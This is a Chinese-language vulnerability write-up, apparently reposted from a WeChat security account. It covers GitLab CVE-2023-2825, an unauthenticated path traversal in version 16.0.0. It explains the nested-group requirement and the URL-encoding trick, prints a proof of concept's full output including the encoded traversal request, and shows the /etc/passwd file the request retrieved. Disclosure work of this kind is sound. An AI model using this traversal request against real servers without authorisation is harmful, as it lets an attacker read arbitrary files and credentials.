CVE-2023-2825
2023 年 5 月 23 日,GitLab 发布了版本 16.0.1,修复了一个严重漏洞 CVE-2023-2825,影响社区版 (CE) 和企业版 (EE) 版本 16.0.0。该漏洞允许未经身份验证的用户通过路径遍历错误读取任意文件。它是由 pwnie 在 HackerOne 上通过漏洞赏金计划发现的。
在撰写本文时,还没有公开的概念证明
GitLab应用
当嵌套在至少五个组中的公共项目中存在附件时,未经身份验证的恶意用户可以使用路径遍历漏洞读取服务器上的任意文件。这是严重性问题 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0)。
子组
该漏洞有一个有趣的要求,即项目需要嵌套在至少 5 个组中。在我们的测试中,我们发现组的数量和您可以遍历的目录直接相关。规则似乎是 N + 1,这意味着如果你想遍历 10 个目录,你需要有 11 个组。
在标准的 Gitlab 安装中,文件附件上传到/var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>
. 所以如果你想到达文件系统根目录,你必须返回 10 个目录,因此你需要 11 个组。
文件上传&路径遍历
当您将文件作为 GitLab 问题的附件上传时,请求将发送到POST - /:repo/upload
. 这将返回带有文件 URL 的 JSON 响应,允许您访问该文件。
文件 URL 由文件名本身/:repo/uploads/:id/:file
组成。:file
替换:file
为任何文件路径将导致 GitLab 返回请求的文件。GitLab 无法清理此文件路径,导致路径遍历。
/
要成功利用此漏洞,您必须对文件路径进行 URL 编码。GitLab 会将其读取为一个值并在内部对其进行解码。未能对其进行编码将导致 GitLab 将/
文件路径中的 解释为路由的一部分。
在我们的测试中,仅编码/
就足以绕过 Nginx 路径错误。
验证
未经身份验证的用户只能在符合嵌套组要求的公共存储库上利用此漏洞。访问存储库本身需要身份验证。
概念验证
这是用 Python 编写的概念证明。它创建了 11 个组,创建了一个 public repo,上传了一个文件,然后利用漏洞获取文件/etc/passwd
。
输出
$ python3 poc.py
[*] Attempting to login...
[*] Login successful
as
user
'root'
[*] Creating
11
groups
with
prefix UJB
[*] Created group
'UJB-1'
[*] Created group
'UJB-2'
[*] Created group
'UJB-3'
[*] Created group
'UJB-4'
[*] Created group
'UJB-5'
[*] Created group
'UJB-6'
[*] Created group
'UJB-7'
[*] Created group
'UJB-8'
[*] Created group
'UJB-9'
[*] Created group
'UJB-10'
[*] Created group
'UJB-11'
[*] Created
public
repo
'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file
'/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file
'/etc/passwd'
: GET -
/UJB-1/
UJB
-2
/UJB
-3
/UJB
-4
/UJB
-5
/UJB
-6
/UJB
-7
/UJB
-8
/UJB
-9
/UJB
-10
/UJB
-11
//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:
0
:
0
:root:
/root:/
bin/bash
daemon:x:
1
:
1
:daemon:
/usr/
sbin:
/usr/
sbin/nologin
bin:x:
2
:
2
:bin:
/bin:/u
sr/sbin/nologin
sys:x:
3
:
3
:sys:
/dev:/u
sr/sbin/nologin
sync:x:
4
:
65534
:sync:
/bin:/
bin/sync
games:x:
5
:
60
:games:
/usr/g
ames:
/usr/
sbin/nologin
man:x:
6
:
12
:man:
/var/
cache/man:
/usr/
sbin/nologin
lp:x:
7
:
7
:lp:
/var/
spool/lpd:
/usr/
sbin/nologin
mail:x:
8
:
8
:mail:
/var/m
ail:
/usr/
sbin/nologin
news:x:
9
:
9
:news:
/var/
spool/news:
/usr/
sbin/nologin
uucp:x:
10
:
10
:uucp:
/var/
spool/uucp:
/usr/
sbin/nologin
proxy:x:
13
:
13
:proxy:
/bin:/u
sr/sbin/nologin
www-data:x:
33
:
33
:www-data:
/var/
www:
/usr/
sbin/nologin
backup:x:
34
:
34
:backup:
/var/
backups:
/usr/
sbin/nologin
list:x:
38
:
38
:Mailing List Manager:
/var/
list:
/usr/
sbin/nologin
irc:x:
39
:
39
:ircd:
/run/i
rcd:
/usr/
sbin/nologin
gnats:x:
41
:
41
:Gnats Bug-Reporting System (admin):
/var/
lib/gnats:
/usr/
sbin/nologin
nobody:x:
65534
:
65534
:nobody:
/nonexistent:/u
sr/sbin/nologin
_apt:x:
100
:
65534
::
/nonexistent:/u
sr/sbin/nologin
sshd:x:
101
:
65534
::
/run/
sshd:
/usr/
sbin/nologin
git:x:
998
:
998
::
/var/
opt/gitlab:
/bin/
sh
gitlab-www:x:
999
:
999
::
/var/
opt/gitlab/nginx:
/bin/
false
gitlab-redis:x:
997
:
997
::
/var/
opt/gitlab/redis:
/bin/
false
gitlab-psql:x:
996
:
996
::
/var/
opt/gitlab/postgresql:
/bin/
sh
mattermost:x:
994
:
994
::
/var/
opt/gitlab/mattermost:
/bin/
sh
registry:x:
993
:
993
::
/var/
opt/gitlab/registry:
/bin/
sh
gitlab-prometheus:x:
992
:
992
::
/var/
opt/gitlab/prometheus:
/bin/
sh
gitlab-consul:x:
991
:
991
::
/var/
opt/gitlab/consul:
/bin/
sh
项目地址:https://github.com/Occamsec/CVE-2023-2825
原文始发于微信公众号(Ots安全):GitLab CVE-2023-2825 PoC 利用路径遍历漏洞从运行 GitLab 16.0.0 的系统中检索
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论